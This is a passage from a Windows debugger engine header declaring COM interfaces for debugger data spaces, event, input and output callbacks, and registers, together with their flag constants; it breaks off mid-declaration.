IDebugDataSpaces4\nDECLARE_INTERFACE_(IDebugDataSpaces4, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugDataSpaces.\n\n STDMETHOD(ReadVirtual)(\n THIS_\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n // SearchVirtual searches the given virtual\n // address range for the given pattern. PatternSize\n // gives the byte length of the pattern and PatternGranularity\n // controls the granularity of comparisons during\n // the search.\n // For example, a DWORD-granular search would\n // use a pattern granularity of four to search by DWORD\n // increments.\n STDMETHOD(SearchVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Length,\n __in_bcount(PatternSize) PVOID Pattern,\n __in ULONG PatternSize,\n __in ULONG PatternGranularity,\n __out PULONG64 MatchOffset\n ) PURE;\n // These methods are identical to Read/WriteVirtual\n // except that they avoid the kernel virtual memory\n // cache entirely and are therefore useful for reading\n // virtual memory which is inherently volatile, such\n // as memory-mapped device areas, without contaminating\n // or invalidating the cache.\n // In user-mode they are the same as Read/WriteVirtual.\n STDMETHOD(ReadVirtualUncached)(\n THIS_\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteVirtualUncached)(\n THIS_\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n // The following two methods are convenience\n // methods for accessing pointer values.\n // They automatically convert between native pointers\n // and canonical 64-bit values as necessary.\n // These routines stop at the first failure.\n STDMETHOD(ReadPointersVirtual)(\n THIS_\n __in ULONG Count,\n __in ULONG64 Offset,\n __out_ecount(Count) PULONG64 Ptrs\n ) PURE;\n STDMETHOD(WritePointersVirtual)(\n THIS_\n __in ULONG Count,\n __in ULONG64 Offset,\n __in_ecount(Count) PULONG64 Ptrs\n ) PURE;\n // All non-virtual data spaces are only\n // available when kernel debugging.\n STDMETHOD(ReadPhysical)(\n THIS_\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WritePhysical)(\n THIS_\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(ReadControl)(\n THIS_\n __in ULONG Processor,\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteControl)(\n THIS_\n __in ULONG Processor,\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(ReadIo)(\n THIS_\n __in ULONG InterfaceType,\n __in ULONG BusNumber,\n __in ULONG AddressSpace,\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteIo)(\n THIS_\n __in ULONG InterfaceType,\n __in ULONG BusNumber,\n __in ULONG AddressSpace,\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(ReadMsr)(\n THIS_\n __in ULONG Msr,\n __out PULONG64 Value\n ) PURE;\n STDMETHOD(WriteMsr)(\n THIS_\n __in ULONG Msr,\n __in ULONG64 Value\n ) PURE;\n STDMETHOD(ReadBusData)(\n THIS_\n __in ULONG BusDataType,\n __in ULONG BusNumber,\n __in ULONG SlotNumber,\n __in ULONG Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteBusData)(\n THIS_\n __in ULONG BusDataType,\n __in ULONG BusNumber,\n __in ULONG SlotNumber,\n __in ULONG Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(CheckLowMemory)(\n THIS\n ) PURE;\n STDMETHOD(ReadDebuggerData)(\n THIS_\n __in ULONG Index,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DataSize\n ) PURE;\n STDMETHOD(ReadProcessorSystemData)(\n THIS_\n __in ULONG Processor,\n __in ULONG Index,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DataSize\n ) PURE;\n\n // IDebugDataSpaces2.\n\n STDMETHOD(VirtualToPhysical)(\n THIS_\n __in ULONG64 Virtual,\n __out PULONG64 Physical\n ) PURE;\n // Returns the physical addresses for the\n // N levels of the systems paging structures.\n // Level zero is the starting base physical\n // address for virtual translations.\n // Levels one-(N-1) will point to the appropriate\n // paging descriptor for the virtual address at\n // the given level of the paging hierarchy. The\n // exact number of levels depends on many factors.\n // The last level will be the fully translated\n // physical address, matching what VirtualToPhysical\n // returns. If the address can only be partially\n // translated S_FALSE is returned.\n STDMETHOD(GetVirtualTranslationPhysicalOffsets)(\n THIS_\n __in ULONG64 Virtual,\n __out_ecount_opt(OffsetsSize) PULONG64 Offsets,\n __in ULONG OffsetsSize,\n __out_opt PULONG Levels\n ) PURE;\n\n // System handle data is accessible in certain\n // debug sessions. The particular data available\n // varies from session to session and platform\n // to platform.\n STDMETHOD(ReadHandleData)(\n THIS_\n __in ULONG64 Handle,\n __in ULONG DataType,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DataSize\n ) PURE;\n\n // Fills memory with the given pattern.\n // The fill stops at the first non-writable byte.\n STDMETHOD(FillVirtual)(\n THIS_\n __in ULONG64 Start,\n __in ULONG Size,\n __in_bcount(PatternSize) PVOID Pattern,\n __in ULONG PatternSize,\n __out_opt PULONG Filled\n ) PURE;\n STDMETHOD(FillPhysical)(\n THIS_\n __in ULONG64 Start,\n __in ULONG Size,\n __in_bcount(PatternSize) PVOID Pattern,\n __in ULONG PatternSize,\n __out_opt PULONG Filled\n ) PURE;\n\n // Queries virtual memory mapping information given\n // an address similarly to the Win32 API VirtualQuery.\n // MEMORY_BASIC_INFORMATION64 is defined in crash.h.\n // This method currently only works for user-mode sessions.\n STDMETHOD(QueryVirtual)(\n THIS_\n __in ULONG64 Offset,\n __out PMEMORY_BASIC_INFORMATION64 Info\n ) PURE;\n\n // IDebugDataSpaces3.\n\n // Convenience method for reading an image\n // header from virtual memory. Given the\n // image base, this method determines where\n // the NT headers are, validates the necessary\n // markers and converts the headers into\n // 64-bit form for consistency.\n // A caller can check whether the headers were\n // originally 32-bit by checking the optional\n // header magic value.\n // This method will not read ROM headers.\n STDMETHOD(ReadImageNtHeaders)(\n THIS_\n __in ULONG64 ImageBase,\n __out PIMAGE_NT_HEADERS64 Headers\n ) PURE;\n\n // Some debug sessions have arbitrary additional\n // data available. For example, additional dump\n // information files may contain extra information\n // gathered at the same time as the primary dump.\n // Such information is tagged with a unique identifier\n // and can only be retrieved via the tag.\n // Tagged data cannot be partially available; the\n // tagged block is either fully present or completely\n // absent.\n STDMETHOD(ReadTagged)(\n THIS_\n __in LPGUID Tag,\n __in ULONG Offset,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG TotalSize\n ) PURE;\n STDMETHOD(StartEnumTagged)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(GetNextTagged)(\n THIS_\n __in ULONG64 Handle,\n __out LPGUID Tag,\n __out PULONG Size\n ) PURE;\n STDMETHOD(EndEnumTagged)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n\n // IDebugDataSpaces4.\n\n // General information about an address in the given data space.\n // Queries are from DEBUG_OFFSINFO_*.\n STDMETHOD(GetOffsetInformation)(\n THIS_\n __in ULONG Space,\n __in ULONG Which,\n __in ULONG64 Offset,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InfoSize\n ) PURE;\n\n // Given a particular address, return the\n // next address which has a different validity.\n // For example, in debug sessions such as a live\n // user-mode session where virtual address validity\n // changes from page to page this will return the\n // page after the given page. In sessions such as\n // a user-mode dump file where validity can change\n // from byte to byte this will return the start of\n // the next region that has different validity.\n STDMETHOD(GetNextDifferentlyValidOffsetVirtual)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG64 NextOffset\n ) PURE;\n\n // Given a particular range of virtual addresses,\n // find the first region which is valid memory.\n STDMETHOD(GetValidRegionVirtual)(\n THIS_\n __in ULONG64 Base,\n __in ULONG Size,\n __out PULONG64 ValidBase,\n __out PULONG ValidSize\n ) PURE;\n\n STDMETHOD(SearchVirtual2)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Length,\n __in ULONG Flags,\n __in_bcount(PatternSize) PVOID Pattern,\n __in ULONG PatternSize,\n __in ULONG PatternGranularity,\n __out PULONG64 MatchOffset\n ) PURE;\n\n // Attempts to read a multi-byte string\n // starting at the given virtual address.\n // The possible string length, including terminator,\n // is capped at the given max size.\n // If a return buffer is given it will always\n // be terminated.\n STDMETHOD(ReadMultiByteStringVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG MaxBytes,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG StringBytes\n ) PURE;\n // Reads a multi-byte string and converts\n // it to Unicode using the given code page.\n STDMETHOD(ReadMultiByteStringVirtualWide)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG MaxBytes,\n __in ULONG CodePage,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG StringBytes\n ) PURE;\n STDMETHOD(ReadUnicodeStringVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG MaxBytes,\n __in ULONG CodePage,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG StringBytes\n ) PURE;\n STDMETHOD(ReadUnicodeStringVirtualWide)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG MaxBytes,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG StringBytes\n ) PURE;\n\n STDMETHOD(ReadPhysical2)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WritePhysical2)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG Flags,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n};\n\n//----------------------------------------------------------------------------\n//\n// IDebugEventCallbacks.\n//\n//----------------------------------------------------------------------------\n\n// Interest mask bits.\n#define DEBUG_EVENT_BREAKPOINT 0x00000001\n#define DEBUG_EVENT_EXCEPTION 0x00000002\n#define DEBUG_EVENT_CREATE_THREAD 0x00000004\n#define DEBUG_EVENT_EXIT_THREAD 0x00000008\n#define DEBUG_EVENT_CREATE_PROCESS 0x00000010\n#define DEBUG_EVENT_EXIT_PROCESS 0x00000020\n#define DEBUG_EVENT_LOAD_MODULE 0x00000040\n#define DEBUG_EVENT_UNLOAD_MODULE 0x00000080\n#define DEBUG_EVENT_SYSTEM_ERROR 0x00000100\n#define DEBUG_EVENT_SESSION_STATUS 0x00000200\n#define DEBUG_EVENT_CHANGE_DEBUGGEE_STATE 0x00000400\n#define DEBUG_EVENT_CHANGE_ENGINE_STATE 0x00000800\n#define DEBUG_EVENT_CHANGE_SYMBOL_STATE 0x00001000\n\n// SessionStatus flags.\n// A debuggee has been discovered for the session.\n#define DEBUG_SESSION_ACTIVE 0x00000000\n// The session has been ended by EndSession.\n#define DEBUG_SESSION_END_SESSION_ACTIVE_TERMINATE 0x00000001\n#define DEBUG_SESSION_END_SESSION_ACTIVE_DETACH 0x00000002\n#define DEBUG_SESSION_END_SESSION_PASSIVE 0x00000003\n// The debuggee has run to completion. User-mode only.\n#define DEBUG_SESSION_END 0x00000004\n// The target machine has rebooted. Kernel-mode only.\n#define DEBUG_SESSION_REBOOT 0x00000005\n// The target machine has hibernated. Kernel-mode only.\n#define DEBUG_SESSION_HIBERNATE 0x00000006\n// The engine was unable to continue the session.\n#define DEBUG_SESSION_FAILURE 0x00000007\n\n// ChangeDebuggeeState flags.\n// The debuggees state has changed generally, such\n// as when the debuggee has been executing.\n// Argument is zero.\n#define DEBUG_CDS_ALL 0xffffffff\n// Registers have changed. If only a single register\n// changed, argument is the index of the register.\n// Otherwise it is DEBUG_ANY_ID.\n#define DEBUG_CDS_REGISTERS 0x00000001\n// Data spaces have changed. If only a single\n// space was affected, argument is the data\n// space. Otherwise it is DEBUG_ANY_ID.\n#define DEBUG_CDS_DATA 0x00000002\n\n// ChangeEngineState flags.\n// The engine state has changed generally.\n// Argument is zero.\n#define DEBUG_CES_ALL 0xffffffff\n// Current thread changed. This may imply a change\n// of system and process also. Argument is the ID of the new\n// current thread or DEBUG_ANY_ID if no thread is current.\n#define DEBUG_CES_CURRENT_THREAD 0x00000001\n// Effective processor changed. Argument is the\n// new processor type.\n#define DEBUG_CES_EFFECTIVE_PROCESSOR 0x00000002\n// Breakpoints changed. If only a single breakpoint\n// changed, argument is the ID of the breakpoint.\n// Otherwise it is DEBUG_ANY_ID.\n#define DEBUG_CES_BREAKPOINTS 0x00000004\n// Code interpretation level changed. Argument is\n// the new level.\n#define DEBUG_CES_CODE_LEVEL 0x00000008\n// Execution status changed. Argument is the new\n// execution status.\n#define DEBUG_CES_EXECUTION_STATUS 0x00000010\n// Engine options have changed. Argument is the new\n// options value.\n#define DEBUG_CES_ENGINE_OPTIONS 0x00000020\n// Log file information has changed. Argument\n// is TRUE if a log file was opened and FALSE if\n// a log file was closed.\n#define DEBUG_CES_LOG_FILE 0x00000040\n// Default number radix has changed. Argument\n// is the new radix.\n#define DEBUG_CES_RADIX 0x00000080\n// Event filters changed. If only a single filter\n// changed the argument is the filter's index,\n// otherwise it is DEBUG_ANY_ID.\n#define DEBUG_CES_EVENT_FILTERS 0x00000100\n// Process options have changed. Argument is the new\n// options value.\n#define DEBUG_CES_PROCESS_OPTIONS 0x00000200\n// Extensions have been added or removed.\n#define DEBUG_CES_EXTENSIONS 0x00000400\n// Systems have been added or removed. The argument\n// is the system ID. Systems, unlike processes and\n// threads, may be created at any time and not\n// just during WaitForEvent.\n#define DEBUG_CES_SYSTEMS 0x00000800\n// Assembly/disassembly options have changed. Argument\n// is the new options value.\n#define DEBUG_CES_ASSEMBLY_OPTIONS 0x00001000\n// Expression syntax has changed. Argument\n// is the new syntax value.\n#define DEBUG_CES_EXPRESSION_SYNTAX 0x00002000\n// Text replacements have changed.\n#define DEBUG_CES_TEXT_REPLACEMENTS 0x00004000\n\n// ChangeSymbolState flags.\n// Symbol state has changed generally, such\n// as after reload operations. Argument is zero.\n#define DEBUG_CSS_ALL 0xffffffff\n// Modules have been loaded. If only a\n// single module changed, argument is the\n// base address of the module. Otherwise\n// it is zero.\n#define DEBUG_CSS_LOADS 0x00000001\n// Modules have been unloaded. If only a\n// single module changed, argument is the\n// base address of the module. Otherwise\n// it is zero.\n#define DEBUG_CSS_UNLOADS 0x00000002\n// Current symbol scope changed.\n#define DEBUG_CSS_SCOPE 0x00000004\n// Paths have changed.\n#define DEBUG_CSS_PATHS 0x00000008\n// Symbol options have changed. Argument is the new\n// options value.\n#define DEBUG_CSS_SYMBOL_OPTIONS 0x00000010\n// Type options have changed. Argument is the new\n// options value.\n#define DEBUG_CSS_TYPE_OPTIONS 0x00000020\n\n#undef INTERFACE\n#define INTERFACE IDebugEventCallbacks\nDECLARE_INTERFACE_(IDebugEventCallbacks, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugEventCallbacks.\n\n // The engine calls GetInterestMask once when\n // the event callbacks are set for a client.\n STDMETHOD(GetInterestMask)(\n THIS_\n __out PULONG Mask\n ) PURE;\n\n // A breakpoint event is generated when\n // a breakpoint exception is received and\n // it can be mapped to an existing breakpoint.\n // The callback method is given a reference\n // to the breakpoint and should release it when\n // it is done with it.\n STDMETHOD(Breakpoint)(\n THIS_\n __in PDEBUG_BREAKPOINT Bp\n ) PURE;\n\n // Exceptions include breaks which cannot\n // be mapped to an existing breakpoint\n // instance.\n STDMETHOD(Exception)(\n THIS_\n __in PEXCEPTION_RECORD64 Exception,\n __in ULONG FirstChance\n ) PURE;\n\n // Any of these values can be zero if they\n // cannot be provided by the engine.\n // Currently the kernel does not return thread\n // or process change events.\n STDMETHOD(CreateThread)(\n THIS_\n __in ULONG64 Handle,\n __in ULONG64 DataOffset,\n __in ULONG64 StartOffset\n ) PURE;\n STDMETHOD(ExitThread)(\n THIS_\n __in ULONG ExitCode\n ) PURE;\n\n // Any of these values can be zero if they\n // cannot be provided by the engine.\n STDMETHOD(CreateProcess)(\n THIS_\n __in ULONG64 ImageFileHandle,\n __in ULONG64 Handle,\n __in ULONG64 BaseOffset,\n __in ULONG ModuleSize,\n __in_opt PCSTR ModuleName,\n __in_opt PCSTR ImageName,\n __in ULONG CheckSum,\n __in ULONG TimeDateStamp,\n __in ULONG64 InitialThreadHandle,\n __in ULONG64 ThreadDataOffset,\n __in ULONG64 StartOffset\n ) PURE;\n STDMETHOD(ExitProcess)(\n THIS_\n __in ULONG ExitCode\n ) PURE;\n\n // Any of these values may be zero.\n STDMETHOD(LoadModule)(\n THIS_\n __in ULONG64 ImageFileHandle,\n __in ULONG64 BaseOffset,\n __in ULONG ModuleSize,\n __in_opt PCSTR ModuleName,\n __in_opt PCSTR ImageName,\n __in ULONG CheckSum,\n __in ULONG TimeDateStamp\n ) PURE;\n STDMETHOD(UnloadModule)(\n THIS_\n __in_opt PCSTR ImageBaseName,\n __in ULONG64 BaseOffset\n ) PURE;\n\n STDMETHOD(SystemError)(\n THIS_\n __in ULONG Error,\n __in ULONG Level\n ) PURE;\n\n // Session status is synchronous like the other\n // wait callbacks but it is called as the state\n // of the session is changing rather than at\n // specific events so its return value does not\n // influence waiting. Implementations should just\n // return DEBUG_STATUS_NO_CHANGE.\n // Also, because some of the status\n // notifications are very early or very\n // late in the session lifetime there may not be\n // current processes or threads when the notification\n // is generated.\n STDMETHOD(SessionStatus)(\n THIS_\n __in ULONG Status\n ) PURE;\n\n // The following callbacks are informational\n // callbacks notifying the provider about\n // changes in debug state. The return value\n // of these callbacks is ignored. Implementations\n // can not call back into the engine.\n\n // Debuggee state, such as registers or data spaces,\n // has changed.\n STDMETHOD(ChangeDebuggeeState)(\n THIS_\n __in ULONG Flags,\n __in ULONG64 Argument\n ) PURE;\n // Engine state has changed.\n STDMETHOD(ChangeEngineState)(\n THIS_\n __in ULONG Flags,\n __in ULONG64 Argument\n ) PURE;\n // Symbol state has changed.\n STDMETHOD(ChangeSymbolState)(\n THIS_\n __in ULONG Flags,\n __in ULONG64 Argument\n ) PURE;\n};\n\n#undef INTERFACE\n#define INTERFACE IDebugEventCallbacksWide\nDECLARE_INTERFACE_(IDebugEventCallbacksWide, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugEventCallbacksWide.\n\n // The engine calls GetInterestMask once when\n // the event callbacks are set for a client.\n STDMETHOD(GetInterestMask)(\n THIS_\n __out PULONG Mask\n ) PURE;\n\n // A breakpoint event is generated when\n // a breakpoint exception is received and\n // it can be mapped to an existing breakpoint.\n // The callback method is given a reference\n // to the breakpoint and should release it when\n // it is done with it.\n STDMETHOD(Breakpoint)(\n THIS_\n __in PDEBUG_BREAKPOINT2 Bp\n ) PURE;\n\n // Exceptions include breaks which cannot\n // be mapped to an existing breakpoint\n // instance.\n STDMETHOD(Exception)(\n THIS_\n __in PEXCEPTION_RECORD64 Exception,\n __in ULONG FirstChance\n ) PURE;\n\n // Any of these values can be zero if they\n // cannot be provided by the engine.\n // Currently the kernel does not return thread\n // or process change events.\n STDMETHOD(CreateThread)(\n THIS_\n __in ULONG64 Handle,\n __in ULONG64 DataOffset,\n __in ULONG64 StartOffset\n ) PURE;\n STDMETHOD(ExitThread)(\n THIS_\n __in ULONG ExitCode\n ) PURE;\n\n // Any of these values can be zero if they\n // cannot be provided by the engine.\n STDMETHOD(CreateProcess)(\n THIS_\n __in ULONG64 ImageFileHandle,\n __in ULONG64 Handle,\n __in ULONG64 BaseOffset,\n __in ULONG ModuleSize,\n __in_opt PCWSTR ModuleName,\n __in_opt PCWSTR ImageName,\n __in ULONG CheckSum,\n __in ULONG TimeDateStamp,\n __in ULONG64 InitialThreadHandle,\n __in ULONG64 ThreadDataOffset,\n __in ULONG64 StartOffset\n ) PURE;\n STDMETHOD(ExitProcess)(\n THIS_\n __in ULONG ExitCode\n ) PURE;\n\n // Any of these values may be zero.\n STDMETHOD(LoadModule)(\n THIS_\n __in ULONG64 ImageFileHandle,\n __in ULONG64 BaseOffset,\n __in ULONG ModuleSize,\n __in_opt PCWSTR ModuleName,\n __in_opt PCWSTR ImageName,\n __in ULONG CheckSum,\n __in ULONG TimeDateStamp\n ) PURE;\n STDMETHOD(UnloadModule)(\n THIS_\n __in_opt PCWSTR ImageBaseName,\n __in ULONG64 BaseOffset\n ) PURE;\n\n STDMETHOD(SystemError)(\n THIS_\n __in ULONG Error,\n __in ULONG Level\n ) PURE;\n\n // Session status is synchronous like the other\n // wait callbacks but it is called as the state\n // of the session is changing rather than at\n // specific events so its return value does not\n // influence waiting. Implementations should just\n // return DEBUG_STATUS_NO_CHANGE.\n // Also, because some of the status\n // notifications are very early or very\n // late in the session lifetime there may not be\n // current processes or threads when the notification\n // is generated.\n STDMETHOD(SessionStatus)(\n THIS_\n __in ULONG Status\n ) PURE;\n\n // The following callbacks are informational\n // callbacks notifying the provider about\n // changes in debug state. The return value\n // of these callbacks is ignored. Implementations\n // can not call back into the engine.\n\n // Debuggee state, such as registers or data spaces,\n // has changed.\n STDMETHOD(ChangeDebuggeeState)(\n THIS_\n __in ULONG Flags,\n __in ULONG64 Argument\n ) PURE;\n // Engine state has changed.\n STDMETHOD(ChangeEngineState)(\n THIS_\n __in ULONG Flags,\n __in ULONG64 Argument\n ) PURE;\n // Symbol state has changed.\n STDMETHOD(ChangeSymbolState)(\n THIS_\n __in ULONG Flags,\n __in ULONG64 Argument\n ) PURE;\n};\n\n//----------------------------------------------------------------------------\n//\n// IDebugInputCallbacks.\n//\n//----------------------------------------------------------------------------\n\n#undef INTERFACE\n#define INTERFACE IDebugInputCallbacks\nDECLARE_INTERFACE_(IDebugInputCallbacks, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugInputCallbacks.\n\n // A call to the StartInput method is a request for\n // a line of input from any client. The returned input\n // should always be zero-terminated. The buffer size\n // provided is only a guideline. A client can return\n // more if necessary and the engine will truncate it\n // before returning from IDebugControl::Input.\n // The return value is ignored.\n STDMETHOD(StartInput)(\n THIS_\n __in ULONG BufferSize\n ) PURE;\n // The return value is ignored.\n STDMETHOD(EndInput)(\n THIS\n ) PURE;\n};\n\n//----------------------------------------------------------------------------\n//\n// IDebugOutputCallbacks.\n//\n//----------------------------------------------------------------------------\n\n#undef INTERFACE\n#define INTERFACE IDebugOutputCallbacks\nDECLARE_INTERFACE_(IDebugOutputCallbacks, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugOutputCallbacks.\n\n // This method is only called if the supplied mask\n // is allowed by the clients output control.\n // The return value is ignored.\n STDMETHOD(Output)(\n THIS_\n __in ULONG Mask,\n __in PCSTR Text\n ) PURE;\n};\n\n#undef INTERFACE\n#define INTERFACE IDebugOutputCallbacksWide\nDECLARE_INTERFACE_(IDebugOutputCallbacksWide, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugOutputCallbacksWide.\n\n // This method is only called if the supplied mask\n // is allowed by the clients output control.\n // The return value is ignored.\n STDMETHOD(Output)(\n THIS_\n __in ULONG Mask,\n __in PCWSTR Text\n ) PURE;\n};\n\n//\n// IDebugOutputCallbacks2 interest mask flags.\n//\n\n// Indicates that the callback wants notifications\n// of all explicit flushes.\n#define DEBUG_OUTCBI_EXPLICIT_FLUSH 0x00000001\n// Indicates that the callback wants\n// content in text form.\n#define DEBUG_OUTCBI_TEXT 0x00000002\n// Indicates that the callback wants\n// content in markup form.\n#define DEBUG_OUTCBI_DML 0x00000004\n\n#define DEBUG_OUTCBI_ANY_FORMAT 0x00000006\n\n//\n// Different kinds of output callback notifications\n// that can be sent to Output2.\n//\n\n// Plain text content, flags are below, argument is mask.\n#define DEBUG_OUTCB_TEXT 0\n// Debugger markup content, flags are below, argument is mask.\n#define DEBUG_OUTCB_DML 1\n// Notification of an explicit output flush, flags and argument are zero.\n#define DEBUG_OUTCB_EXPLICIT_FLUSH 2\n\n//\n// Flags for various Output2 callbacks.\n//\n\n// The content string was followed by an\n// explicit flush. This flag will be used\n// instead of a separate DEBUG_OUTCB_EXPLICIT_FLUSH\n// callback when a flush has text to flush,\n// thus avoiding two callbacks.\n#define DEBUG_OUTCBF_COMBINED_EXPLICIT_FLUSH 0x00000001\n\n// The markup content string has embedded tags.\n#define DEBUG_OUTCBF_DML_HAS_TAGS 0x00000002\n// The markup content has encoded special characters like \", &, < and >.\n#define DEBUG_OUTCBF_DML_HAS_SPECIAL_CHARACTERS 0x00000004\n\n#undef INTERFACE\n#define INTERFACE IDebugOutputCallbacks2\nDECLARE_INTERFACE_(IDebugOutputCallbacks2, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugOutputCallbacks.\n\n // This method is not used.\n STDMETHOD(Output)(\n THIS_\n __in ULONG Mask,\n __in PCSTR Text\n ) PURE;\n\n // IDebugOutputCallbacks2.\n\n // The engine calls GetInterestMask once when\n // the callbacks are set for a client.\n STDMETHOD(GetInterestMask)(\n THIS_\n __out PULONG Mask\n ) PURE;\n \n STDMETHOD(Output2)(\n THIS_\n __in ULONG Which,\n __in ULONG Flags,\n __in ULONG64 Arg,\n __in_opt PCWSTR Text\n ) PURE;\n};\n\n//----------------------------------------------------------------------------\n//\n// IDebugRegisters.\n//\n//----------------------------------------------------------------------------\n\n#define DEBUG_REGISTERS_DEFAULT 0x00000000\n#define DEBUG_REGISTERS_INT32 0x00000001\n#define DEBUG_REGISTERS_INT64 0x00000002\n#define DEBUG_REGISTERS_FLOAT 0x00000004\n#define DEBUG_REGISTERS_ALL 0x00000007\n\n#define DEBUG_REGISTER_SUB_REGISTER 0x00000001\n\ntypedef struct _DEBUG_REGISTER_DESCRIPTION\n{\n // DEBUG_VALUE type.\n ULONG Type;\n ULONG Flags;\n\n // If this is a subregister the full\n // registers description index is\n // given in SubregMaster. The length, mask\n // and shift describe how the subregisters\n // bits fit into the full register.\n ULONG SubregMaster;\n ULONG SubregLength;\n ULONG64 SubregMask;\n ULONG SubregShift;\n\n ULONG Reserved0;\n} DEBUG_REGISTER_DESCRIPTION, *PDEBUG_REGISTER_DESCRIPTION;\n\n#undef INTERFACE\n#define INTERFACE IDebugRegisters\nDECLARE_INTERFACE_(IDebugRegisters, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugRegisters.\n STDMETHOD(GetNumberRegisters)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetDescription)(\n THIS_\n __in ULONG Register,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in 